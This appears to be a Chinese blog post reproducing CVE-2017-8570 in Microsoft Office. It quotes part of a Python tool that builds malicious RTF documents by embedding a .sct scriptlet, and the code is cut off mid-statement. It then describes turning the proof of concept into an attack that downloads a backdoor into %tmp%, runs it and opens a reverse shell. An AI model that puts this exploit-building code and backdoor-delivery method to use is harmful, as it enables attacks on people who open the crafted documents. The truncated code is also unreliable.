CVE-2017-8570 Microsoft Office 逻辑漏洞复现和利用

漏洞简介

CVE-2017-8570是继CVE-2017-0199Microsoft Office的又一个逻辑漏洞,又称二代沙虫。相比于CVE-2017-0199,利用更加方便,影响更加广泛。

受影响的版本
Microsoft Office 2016
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007

实验环境

Microsoft Office 2010

Win7 SP1 32bit

复现过程(伪)

在网上普遍流传的有PPSXRTF两个版本,前者比较广泛,网上博客复现也是PPSX版本比较多。在CVE-2017-8570首次公开的野外样本及漏洞分析中看到了RTF版本的利用过程以及Github上的RTF恶意文档生成工具,脚本如下

import argparse
import os
import struct
import random
import string

class Package(object):
    """
    Packager spec based on:
    https://phishme.com/rtf-malware-delivery/
    
    Dropping method by Haifei Li: 
    https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

    Found being used itw by @MalwareParty:
    https://twitter.com/MalwareParty/status/943861021260861440
    """
    def __init__(self, filename):
        self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + '.sct'
        self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)

        self.orgpath = self.fakepath
        self.datapath = self.fakepath

        with open(filename,'rb') as f:
            self.data = f.read()

        self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
        self.OBJ_TAIL = r"0105000000000000}}"

    def get_object_header(self):
        OLEVersion = '01050000'
        FormatID = '02000000'
        ClassName = 'Package'
        szClassName = struct.pack("

复现并不困难,不需要像CVE-2017-0199那样配置服务器什么的,只需要在本地构造好命令执行的.sct文件,再编码并按照RTF文档格式写入就能够复现。其实就是跟着大佬的Github上的流程走一遍(逃)

poc.sct

复现成功

利用过程(简单的)

思路也是和上次的CVE-2017-0199一样,既然已经的到了命令执行,所以只需要将poccalc.sct中执行的命令改为攻击载荷即可实现利用:将服务器上的后门文件下载到本地%tmp%目录下并执行。

poc.sct

exp.sct

解析到tmp目录并下载后门

执行后门文件

远程反弹Shell

写在后面

逻辑漏洞的复现并没有进到代码层去分析,主要就是跟着网上已有的利用来构造一些简单的攻击脚本,学了几句vbs。在海莲花APT团伙利用CVE-2017-8570漏洞的新样本及关联分析 这篇文章中看到了更加高级的利用方式,有时间要将rtf文件的结构看看。Githubppsx版本的exp

你可能感兴趣的:(CVE-2017-8570 Microsoft Office 逻辑漏洞复现和利用)